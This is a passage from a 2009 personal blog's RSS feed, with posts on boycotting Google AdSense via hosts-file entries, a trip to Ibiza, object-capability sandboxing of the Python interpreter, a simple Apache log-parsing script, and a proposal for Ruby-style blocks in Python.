pleasure to hang out with.</p>
<p>Wise, talented, fun, interesting, helpful &mdash; everything that one could ever hope
for in a friend, one finds with Matt.</p>
<p>He not only turned around my impression of the French, but also gave me reasons
to appreciate many aspects of its culture.</p>
<p>Lots of love to you brother and happy birthday!!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/y7z_BSPJMqU" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/happy-birthday-matthieu.html</feedburner:origLink></item><item>
    <title>Say No to Google's Intrusion of Privacy</title>
    <guid isPermaLink="false">http://tav.espians.com/say-no-to-google-intrusion-of-privacy.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/mT6iBA7edMQ/say-no-to-google-intrusion-of-privacy.html</link>
    <pubDate>Wed, 11 Mar 2009 21:55:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
  <img
  src="http://brucewagner.files.wordpress.com/2008/02/boycott_google_logo.jpg"
  alt ="Boycott Google" /><br />
  <div class="image-caption">by <a href="http://brucewagner.wordpress.com">Bruce
  Wagner</a></div>
</div><p><em>[Blog, Twitter #googlestrike and Facebook this as much as you can &mdash; Thanks!]</em></p>
<p><strong>This is a call to boycott Google AdSense until they change their new
monitoring policy to be opt-in.</strong></p>
<p>Earlier today, Google announced that they will be <a class="reference external" href="http://news.bbc.co.uk/1/hi/technology/7937201.stm">monitoring everybody's online
activity</a>. This is clearly
a violation of their &ldquo;Don't Be Evil&rdquo; policy.</p>
<p>In their quest to serve more targeted ads, Google will now start tracking the
sites that we all visit. They can do this because a lot of sites use Google
<a class="reference external" href="http://en.wikipedia.org/wiki/AdSense">AdSense</a>.</p>
<p>And every time we visit these sites running AdSense, Google will know exactly
where we've been. This is an extreme breach of privacy! We must act now or risk
handing over our privacy permanently.</p>
<p>So this is a call to all network admins &mdash; in homes, offices, university
campuses, ISPs and anywhere else &mdash; to please add the following 2 lines to your
<a class="reference external" href="http://en.wikipedia.org/wiki/Hosts_file">hosts file</a>:</p>
<pre class="literal-block">
127.0.0.1   pagead2.googlesyndication.com
127.0.0.1   googlesyndication.com
</pre>
<p>If you are not an admin, then get in touch with whoever runs your local
home/office/ISP/university networks and get them to make the change.</p>
<p>By doing this, you will disable Google's tracking as well as take away their
revenue &mdash; an online equivalent of boycotting. If it is not made clear that our
privacy is important, the rest of the industry will simply follow Google's lead
even further.</p>
<p>So when should we stop boycotting Google AdSense? When they make it <strong>opt-in</strong>
instead of the current opt-out they provide on their <a class="reference external" href="http://www.google.com/ads/preferences/">ad preferences</a> page.</p>
<p class="sidebox">It's like having an invisible spy camera following you around</p>
<p>The problem with opt-out is that most users simply don't understand the
technical details. As Tim Berners-Lee points out it's like having an <a class="reference external" href="http://www.telegraph.co.uk/scienceandtechnology/technology/technologynews/4974695/Online-privacy-demanded-by-web-founders.html">invisible
spy camera</a>
following you around.</p>
<p>Most people simply don't even know that it's there! And worse, with Google's
current implementation, you have to opt-out from every browser and machine you
ever use!! This is outrageous!</p>
<p>If Google would make this opt-in on the other hand, I will happily let them know
what my interests are so that they can serve me more relevant ads. There is
value in <a class="reference external" href="http://en.wikipedia.org/wiki/Behavioral_targeting">behavioural targetting</a> and Google can derive the
same value without having to intrude on our privacy.</p>
<p>But letting Google know my interests is one thing and letting them know every
website that I ever visit is a different matter altogether. For that, if some
users want to help Google, then fine, let them do so and let them opt-in.</p>
<p>Countries like France are already planning to take away net neutrality &mdash; with
their upcoming <a class="reference external" href="http://arstechnica.com/tech-policy/news/2009/03/french-anti-p2p-law-toughest-in-the-world.ars">anti-P2P law</a>,
illegal filesharers will be denied internet access for up to a year and open
Wi-Fi hotspots will only be allowed to give access to whitelisted sites.</p>
<p>With unhealthy legislation/censorship like this being forced upon the world, we
really don't need Google adding to our pains and taking away what little privacy
we have left.</p>
<p>I'll update this blog article if/when Google do reverse their policy to opt-in.
Keep it bookmarked so that you can stop the boycott =)</p>
<p>Please comment, blog, twitter <a class="reference external" href="http://search.twitter.com/search?q=%23googlestrike">#googlestrike</a> and facebook this as much
as you can &mdash; Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/mT6iBA7edMQ" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/say-no-to-google-intrusion-of-privacy.html</feedburner:origLink></item><item>
    <title>Thoughts of Ibiza</title>
    <guid isPermaLink="false">http://tav.espians.com/thoughts-of-ibiza.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/uPb7AAgnnYo/thoughts-of-ibiza.html</link>
    <pubDate>Tue, 10 Mar 2009 17:17:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It was Athini's birthday last week, and my thoughts drifted to the time we all
spent together in <a class="reference external" href="http://en.wikipedia.org/wiki/Ibiza">Ibiza</a> last year.</p>
<div class="float-right-aligned">
<a href="http://www.flickr.com/photos/olasofia/3319107592/"><img
src="http://farm4.static.flickr.com/3612/3319107592_8423d88317.jpg"
width="400px" height="300px"
alt="Sky,Tav and Sofia in Ibiza" /></a>
</div><p>Athini is <a class="reference external" href="http://blog.turnupthecourage.com">Sofia's</a> sister and was our host
when we decided to spend a month away in Ibiza. She's been living there for a
few years now and made our stay super nice.</p>
<p>Leo, the father of her adorable 3-year old Sky, picked us up from the airport
and dropped us off at <a class="reference external" href="http://www.casitaverde.com">Casita Verde</a> where she was
teaching <a class="reference external" href="http://en.wikipedia.org/wiki/Tai_chi_chuan">Tai chi</a>.</p>
<p>Casita Verde was everything that I had not expected from Ibiza.</p>
<p>It turns out that there is more to the island of Eivissa than the clubbing
scenes that we're familiar with. Seemingly limited to the &ldquo;English&rdquo; part of the
island where fat girls walk around semi-naked, the rest of the island is rather
tranquil and magical.</p>
<p>Casita Verde itself is an interesting eco-centre situated in a beautiful valley.
The people who gathered there were very interesting to talk to and the organic
meals they served were delicious!!</p>
<p>And as luck would have it, the DJ was playing music by my old housemate <a class="reference external" href="http://www.saritah.com/">Saritah</a> which endeared myself to the place even more.</p>
<p>After hanging around there for a while, Athini took us to her home. She'd
managed to find a villa for us to stay that was only a few minutes drive from
her house &mdash; we were going to be neighbours for a month!</p>
<p>The <a class="reference external" href="http://www.canxerra.de/">Can Paloma Villa</a>, owned by an eccentric German
artist called <a class="reference external" href="http://www.digitalartweb.net/">Eckhard Neumann</a>, was absolutely
gorgeous!</p>
<img alt="http://farm4.static.flickr.com/3641/3349031709_cd32c710cb.jpg" class="float-left-aligned" src="http://farm4.static.flickr.com/3641/3349031709_cd32c710cb.jpg" style="width: 400px; height: 300px;" />
<p>Normally rented out to groups of a dozen-odd people, Sofia and I had the whole
place to ourselves. And thanks to visiting off-season, it cost less than the
rent for our tiny flat in the UK!</p>
<p>Over the next month, Sofia and I worked away on our laptops &mdash; disconnected from
the rest of the world and the internet.</p>
<p>Athini, Leo and little Sky gave us great company which stopped us going insane
from cabin fever. And the visits from Ecki and Schnusch (his cute dog) were an
absolute delight.</p>
<p>But it wasn't all hunky dory. I managed to fall ill with some chest infection
and had to be nursed back to good health by Sofia. Alright, alright, this was
actually really nice ;p</p>
<p>But it turned out that the inhabitants of Ibiza were in a really bad shape
economically. Being way-too-dependent on tourism, the finances of everyone were
cyclical &mdash; great in the summer, crap in the winter.</p>
<p>Clubs like <a class="reference external" href="http://www.pacha.com/">Pacha</a> were dead even though they had a lot
of space for interesting things to happen. Talented people were sitting at home
without jobs or money.</p>
<p>This is quite a sorry state and reflective of the global economy as a whole.
Fundamentally, we do not lack the resources or man-power to make things viable.
It's simply a question of whether we can co-ordinate them effectively.</p>
<p>And I think Ibiza provides an excellent opportunity for such a venture to be
attempted. If the collective resources and talent could be applied effectively,
there is nothing stopping the inhabitants of Ibiza from being able to have an
extremely high quality of life all year round.</p>
<p>Mamading's article on <a class="reference external" href="http://evangineer.agoraworx.com/blog/2009-02-17-local-community-economics-for-security-in-an-unstable-world.html">Local Community Economics for Security in an Unstable
World</a>
(<a class="reference external" href="http://evangineer.agoraworx.com/blog/2009-02-17-economia-local.html">Spanish version</a>) is an
interesting read in this regard.</p>
<p>Who'd be interested in making this happen? Let me know!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/uPb7AAgnnYo" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/thoughts-of-ibiza.html</feedburner:origLink></item><item>
    <title>Update on Securing the Python Interpreter</title>
    <guid isPermaLink="false">http://tav.espians.com/update-on-securing-the-python-interpreter.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/wFQvc9FguQg/update-on-securing-the-python-interpreter.html</link>
    <pubDate>Mon, 09 Mar 2009 21:42:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>Update:</strong> The <tt class="docutils literal">Namespace</tt> utility function has been made explicit-only with
feedback from <a class="reference external" href="http://lackingrhoticity.blogspot.com/">Mark Seaborn</a>. Thanks
Mark!</p>
<p>Guido van Rossum posted a <a class="reference external" href="http://neopythonic.blogspot.com/2009/03/capabilities-for-python.html">blog article</a> on
Capabilities for Python. As I'd instigated this whole thread, I figure I should
give everyone an update&#8230; (along with a quick summary of the story so far).</p>
<p>The aim has been to enable object-capability in Python. Python already supports
doing the following &mdash; a port of the sample in Mark S. Miller's
<a class="reference external" href="http://www.erights.org/elib/capability/ode/index.html">Capability-based Financial Instruments</a>:</p>
<blockquote>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">Mint</span><span class="p">(</span><span class="n">name</span><span class="p">):</span><br/><br/>    <span class="n">sealer</span><span class="p">,</span> <span class="n">unsealer</span> <span class="o">=</span> <span class="n">makeBrandPair</span><span class="p">(</span><span class="n">name</span><span class="p">)</span><br/><br/>    <span class="k">def</span> <span class="nf">__str__</span><span class="p">():</span><br/>        <span class="k">return</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s">&#39;s mint&quot;</span> <span class="o">%</span> <span class="n">name</span><br/><br/>    <span class="k">def</span> <span class="nf">Purse</span><span class="p">(</span><span class="n">purse_name</span><span class="p">,</span> <span class="n">balance</span><span class="p">):</span><br/><br/>        <span class="n">this</span> <span class="o">=</span> <span class="n">Attr</span><span class="p">(</span><span class="n">balance</span><span class="o">=</span><span class="n">balance</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">decr</span><span class="p">(</span><span class="n">amount</span><span class="p">):</span><br/>            <span class="k">if</span> <span class="p">(</span><span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">-</span> <span class="n">amount</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span><br/>                <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&quot;Can&#39;t decrement balance below 0.&quot;</span><span class="p">)</span><br/>            <span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">-=</span> <span class="n">amount</span><br/><br/>        <span class="k">def</span> <span class="nf">__str__</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s"> has </span><span class="si">%i</span><span class="s"> </span><span class="si">%s</span><span class="s"> bucks&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">purse_name</span><span class="p">,</span> <span class="n">this</span><span class="o">.</span><span class="n">balance</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">getBalance</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">this</span><span class="o">.</span><span class="n">balance</span><br/><br/>        <span class="k">def</span> <span class="nf">sprout</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">Purse</span><span class="p">(</span><span class="s">&#39;from </span><span class="si">%s</span><span class="s">:&#39;</span> <span class="o">%</span> <span class="n">purse_name</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">getDecr</span><span class="p">():</span><br/>            <span class="k">return</span> <span class="n">sealer</span><span class="o">.</span><span class="n">seal</span><span class="p">(</span><span class="n">decr</span><span class="p">)</span><br/><br/>        <span class="k">def</span> <span class="nf">deposit</span><span class="p">(</span><span class="n">amount</span><span class="p">,</span> <span class="n">src</span><span class="p">):</span><br/>            <span class="n">unsealer</span><span class="o">.</span><span class="n">unseal</span><span class="p">(</span><span class="n">src</span><span class="o">.</span><span class="n">getDecr</span><span class="p">())(</span><span class="n">amount</span><span class="p">)</span><br/>            <span class="n">this</span><span class="o">.</span><span class="n">balance</span> <span class="o">+=</span> <span class="n">amount</span><br/><br/>        <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><br/>            <span class="n">decr</span><span class="p">,</span> <span class="n">__str__</span><span class="p">,</span> <span class="n">getBalance</span><span class="p">,</span> <span class="n">sprout</span><span class="p">,</span> <span class="n">getDecr</span><span class="p">,</span> <span class="n">deposit</span><br/>            <span class="p">)</span><br/><br/>    <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><span class="n">__str__</span><span class="p">,</span> <span class="n">Purse</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>Two utility functions are used to make life easier for developers:</p>
<ul class="simple">
<li><tt class="docutils literal">Namespace</tt> returns an object which behaves similarly to &ldquo;standard&rdquo;
class-based objects.</li>
<li><tt class="docutils literal">Attr</tt> provides a utility object to get beyond scope limitations pre-Python
3.0</li>
</ul>
<p>Using this functional approach, we can start our journey towards object
capability in Python =)</p>
<p>First, we need to ensure that a user can't get hold of the global state somehow.
Whilst a lot of existing Python libraries use global state, there is nothing in
the core language itself that requires this to be the case.</p>
<p>So we needed to identify the attributes of built-in types which &ldquo;leak&rdquo; global
state, e.g.</p>
<ul class="simple">
<li>FunctionType.func_globals</li>
<li>FrameType.f_locals</li>
</ul>
<p>I issued a <a class="reference external" href="a-challenge-to-break-python-security.html">security challenge</a>
which helped identify a number of these and am following it up by doing a manual
audit of the CPython implementation to further verify the &ldquo;final&rdquo; list of leak
attributes.</p>
<p>[If anyone wants to help, please get in touch &mdash; <a class="reference external" href="mailto:tav&#64;espians.com">tav&#64;espians.com</a>]</p>
<p>Assuming we do identify the full list &mdash; there are only <em>so many</em> builtin types
and attributes in Python after all! &mdash; we can start with a clean slate and do
object-capability in Python. I explain in detail in my earlier blog article on
<a class="reference external" href="paving-the-way-to-securing-the-python-interpreter.html">Securing the Python Interpreter</a>.</p>
<p>The short of it is that this can be enabled <em>today</em> in about 100 odd lines of
code by removing the &ldquo;leak&rdquo; variables using Python's <tt class="docutils literal">ctypes</tt> module &mdash; see
<a class="reference external" href="http://github.com/tav/scripts/blob/master/safelite.py">safelite.py</a> for a
simple implementation. And for contexts like App Engine, where ctypes isn't
accessible, I provided a <a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/pytrunk.secure.patch">small patch</a> for the
interpreter itself.</p>
<p>The next problem is in making as much of the existing standard library
accessible. As Guido rightly points out in his blog article, most people aren't
going to use a capability-secure subset of Python if it doesn't offer any
value!!</p>
<p>And given that no-one is going to volunteer to rewrite the entire standard
library, I figured we could take a short cut by using minimal wrappers *wink*.</p>
<p>This would be great, but there's been one last (identified) hurdle: some of
Python's builtins automatically call certain class-based protocols, e.g.
__int__, __iter__, etc. for type coercion, iteration, etc.</p>
<p>And to make matters worse certain builtins like <tt class="docutils literal">input</tt> evaluate in the
calling scope! But we can bypass this &mdash; unless someone tells me otherwise &mdash; by
putting a type guard in front of our functions. I've written a <tt class="docutils literal">guard</tt>
decorator in the latest safelite.py to make this easier &mdash; let me know if it
works for you.</p>
<p>We are using a functional approach anyhow, so the class-based protocols are
meaningless. Thus no real functionality should be lost. It'd just make wrapping
the existing standard library much much easier.</p>
<p>And with that, the stage is hopefully set to herald a new future. Here is the
implementation of a file reader which wraps Python's builtin <tt class="docutils literal">open</tt>:</p>
<blockquote>
<div class="syntax python"><pre><span class="nd">@guard</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">buffering</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">FileReader</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s">&#39;r&#39;</span><span class="p">,</span> <span class="n">buffering</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span><br/>    <span class="sd">&quot;&quot;&quot;A secure file reader.&quot;&quot;&quot;</span><br/><br/>    <span class="k">if</span> <span class="n">mode</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s">&#39;r&#39;</span><span class="p">,</span> <span class="s">&#39;rb&#39;</span><span class="p">,</span> <span class="s">&#39;rU&#39;</span><span class="p">]:</span><br/>        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&quot;Only read modes are allowed.&quot;</span><span class="p">)</span><br/><br/>    <span class="n">fileobj</span> <span class="o">=</span> <span class="n">open_file</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">buffering</span><span class="p">)</span><br/><br/>    <span class="k">def</span> <span class="nf">__repr__</span><span class="p">():</span><br/>        <span class="k">return</span> <span class="s">&#39;&lt;FileReader: </span><span class="si">%r</span><span class="s">&gt;&#39;</span> <span class="o">%</span> <span class="n">filename</span><br/><br/>    <span class="k">def</span> <span class="nf">close</span><span class="p">():</span><br/>        <span class="n">fileobj</span><span class="o">.</span><span class="n">close</span><span class="p">()</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">bufsize</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="n">bufsize</span><span class="o">=-</span><span class="mi">1</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">fileobj</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">bufsize</span><span class="p">)</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">readlines</span><span class="p">(</span><span class="n">size</span><span class="o">=-</span><span class="mi">1</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">fileobj</span><span class="o">.</span><span class="n">readlines</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><br/><br/>    <span class="nd">@guard</span><span class="p">(</span><span class="n">offset</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">whence</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="k">def</span> <span class="nf">seek</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span><br/>        <span class="n">fileobj</span><span class="o">.</span><span class="n">seek</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="p">)</span><br/><br/>    <span class="k">return</span> <span class="n">Namespace</span><span class="p">(</span><span class="n">__repr__</span><span class="p">,</span> <span class="n">close</span><span class="p">,</span> <span class="n">read</span><span class="p">,</span> <span class="n">readlines</span><span class="p">,</span> <span class="n">seek</span><span class="p">)</span><br/></pre></div>
</blockquote>
<p>Code which has a reference to <tt class="docutils literal">FileReader</tt> would be able to read files but &mdash;
assuming we've identified all the leak attributes &mdash; never be able to get a
reference to the &ldquo;real&rdquo; <tt class="docutils literal">file_open</tt> which FileReader uses internally.</p>
<p>Code can pass on references to <tt class="docutils literal">read()</tt> to other code without exposing a
reference to <tt class="docutils literal">seek()</tt>, etc.</p>
<p>The final key bit missing is a secure import. For this, I've been working on
something called <tt class="docutils literal">pimp</tt> which will allow for remote loading of code using
object capability principles over HTTP in a manner similar to the <a class="reference external" href="http://www.waterken.com/dev/Web/">Web Calculus</a>.</p>
<p>And with that, this update has come to a close. Do get in touch if any of this
interests you and you'd like to work together!</p>
<p>And, as always, let me know your thoughts in the comments below. Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/wFQvc9FguQg" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/15SeeiZ3Mmk/pytrunk.secure.patch" fileSize="4076" type="null" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/update-on-securing-the-python-interpreter.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/15SeeiZ3Mmk/pytrunk.secure.patch" length="4076" type="null" /><feedburner:origEnclosureLink>http://cloud.github.com/downloads/tav/plexnet/pytrunk.secure.patch</feedburner:origEnclosureLink></item><item>
    <title>Logrep: A Simple Apache Log Analysis Script</title>
    <guid isPermaLink="false">http://tav.espians.com/logrep-a-simple-apache-log-analysis-script.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/rjBzVCtdWMI/logrep-a-simple-apache-log-analysis-script.html</link>
    <pubDate>Sun, 08 Mar 2009 07:14:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Besides good content and interaction, knowing your audience is key to any
successful form of communication.</p>
<img alt="http://farm4.static.flickr.com/3627/3348887337_ec21d8cf89.jpg" class="float-right" src="http://farm4.static.flickr.com/3627/3348887337_ec21d8cf89.jpg" />
<p>Now if you run a blog there are lots of services to help you analyse your
traffic. Personally, I find <a class="reference external" href="http://www.google.com/analytics/">Google Analytics</a> to be pretty good. But there's a slight
problem. It's not real-time.</p>
<p>Even if you use <a class="reference external" href="http://www.thetechfaq.com/2008/03/12/real-time-stats-with-google-analytics/">this</a>
&ldquo;trick&rdquo;, you are still lagged by a few hours. I am happy to wait for the
detailed analysis that Analytics gives me, but I want some basic info in
real-time.</p>
<p>Seeing as I'm running the blog on my own server, it's just a question of parsing
the Apache access logs. But despite my efforts, I couldn't find a really simple
parser for these logs.</p>
<p>All I care about is:</p>
<ul class="simple">
<li>What are people currently looking at?</li>
<li>Who and how many people are visiting?</li>
<li>Where are they coming from? Who is referring to me?</li>
</ul>
<p>Failing to find a simple script, I initially just ran commands like:</p>
<pre class="literal-block">
grep &quot;^tav&quot; access.2009-03-* | awk '{print $12}' | sort | uniq
</pre>
<p>But this got slightly annoying after a while, so I wrote a simple script. I
wrote this just for myself, but if anyone is interested, here it is: <a class="reference external" href="http://github.com/tav/scripts/raw/master/logrep.py">logrep.py</a></p>
<p>Running:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -what -total
</pre>
<p>outputs &lt;number-of-total-requests&gt; &lt;number-of-requests-from-unique-ips&gt;
&lt;url-requested&gt;:</p>
<pre class="literal-block">
1009    668     /a-challenge-to-break-python-security.html
6298    1023    /feed.rss
10595   8912    /ruby-style-blocks-in-python.html
</pre>
<p>There's a similar:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -where -total -prune
</pre>
<p>where <tt class="docutils literal"><span class="pre">-prune</span></tt> combines together urls with different <tt class="docutils literal"><span class="pre">?query-strings</span></tt>:</p>
<pre class="literal-block">
1014    972     http://news.ycombinator.com/
2966    2904    http://www.reddit.com/
</pre>
<p>And:</p>
<pre class="literal-block">
./logrep.py access.2009-03-* -who -total
</pre>
<p>which outputs the obvious total number of visitors (unique ip addresses), e.g.:</p>
<pre class="literal-block">
18314
</pre>
<p>You can pass in some additional filters:</p>
<ul class="simple">
<li><tt class="docutils literal"><span class="pre">--vhost</span> tav.espians.com</tt> will filter on just requests to that vhost.</li>
<li><tt class="docutils literal"><span class="pre">-all</span></tt> will include statistic for requests which weren't served
successfully, e.g. 404s, 301s, etc.</li>
<li><tt class="docutils literal"><span class="pre">--ignore</span> <span class="pre">/favicon.ico,/robots.txt</span></tt> will filter out requests to the given
list of URLs.</li>
</ul>
<p>Again, I wrote this just for myself. But like with all my work, I'm placing it
in the public domain if anyone else fancies using it: <a class="reference external" href="http://github.com/tav/scripts/raw/master/logrep.py">logrep.py</a></p>
<p>Enjoy!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/rjBzVCtdWMI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/logrep-a-simple-apache-log-analysis-script.html</feedburner:origLink></item><item>
    <title>Ruby-style Blocks in Python</title>
    <guid isPermaLink="false">http://tav.espians.com/ruby-style-blocks-in-python.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/ualTYigV4jE/ruby-style-blocks-in-python.html</link>
    <pubDate>Sat, 07 Mar 2009 08:10:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>Update:</strong> I've updated the proposal to use the <tt class="docutils literal">using</tt> keyword instead of
overloading the existing semantics of the <tt class="docutils literal">with</tt> keyword &mdash; thanks Guido and
Todd Lucas!</p>
<p>Blocks are supposedly the <a class="reference external" href="http://unlimitednovelty.com/2009/03/what-do-rubyists-like-about-ruby.html">most liked feature in Ruby</a>.
This proposal would enable a similar feature in Python:</p>
<div class="syntax python"><pre><span class="k">using</span> <span class="n">webapp</span><span class="o">.</span><span class="n">runner</span> <span class="k">do</span> <span class="p">(</span><span class="n">config</span><span class="p">):</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">time_zone</span> <span class="o">=</span> <span class="s">&#39;UTC&#39;</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">&#39;debug&#39;</span><br/></pre></div>
<p>Compare that to the Ruby equivalent:</p>
<div class="syntax ruby"><pre><span class="no">Rails</span><span class="o">::</span><span class="no">Initializer</span><span class="o">.</span><span class="n">run</span> <span class="k">do</span> <span class="o">|</span><span class="n">config</span><span class="o">|</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">time_zone</span> <span class="o">=</span> <span class="s1">&#39;UTC&#39;</span><br/>    <span class="n">config</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="ss">:debug</span><br/><span class="k">end</span><br/></pre></div>
<p>Unless I am missing something fundamental, adding a <tt class="docutils literal">do</tt> statement seems to
lend itself to doing blocks in a Pythonic way.</p>
<p>For those of you that don't know Ruby, <a class="reference external" href="http://www.artima.com/intv/closures.html">blocks</a> are simply syntactic sugar for
defining anonymous functions/closures.</p>
<p>This is already possible in Python using the rather complicated-looking
<tt class="docutils literal">lambda</tt> keyword:</p>
<div class="syntax python"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="k">lambda</span> <span class="n">e</span><span class="p">:</span> <span class="n">e</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">)</span><br/></pre></div>
<p>In contrast, Ruby provides the really sexy:</p>
<div class="syntax ruby"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="p">{</span><span class="o">|</span><span class="n">e</span><span class="o">|</span> <span class="n">e</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">}</span><br/></pre></div>
<p>Where <tt class="docutils literal">lambda</tt> limits Python developers to just expressions, Ruby allows for
full multi-line blocks:</p>
<div class="syntax ruby"><pre><span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="k">do</span> <span class="o">|</span><span class="n">emp</span><span class="o">|</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><br/>        <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><br/>        <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">end</span><br/><span class="k">end</span><br/></pre></div>
<p>This is also possible in Python but at the needless cost of naming and defining
a function first:</p>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">throwaway_function</span><span class="p">(</span><span class="n">emp</span><span class="p">):</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/><br/><span class="n">employees</span><span class="o">.</span><span class="n">select</span><span class="p">(</span><span class="n">throwaway_function</span><span class="p">)</span><br/></pre></div>
<p>This is where my proposed <tt class="docutils literal">do</tt> statement comes in, it would simplify the above
to:</p>
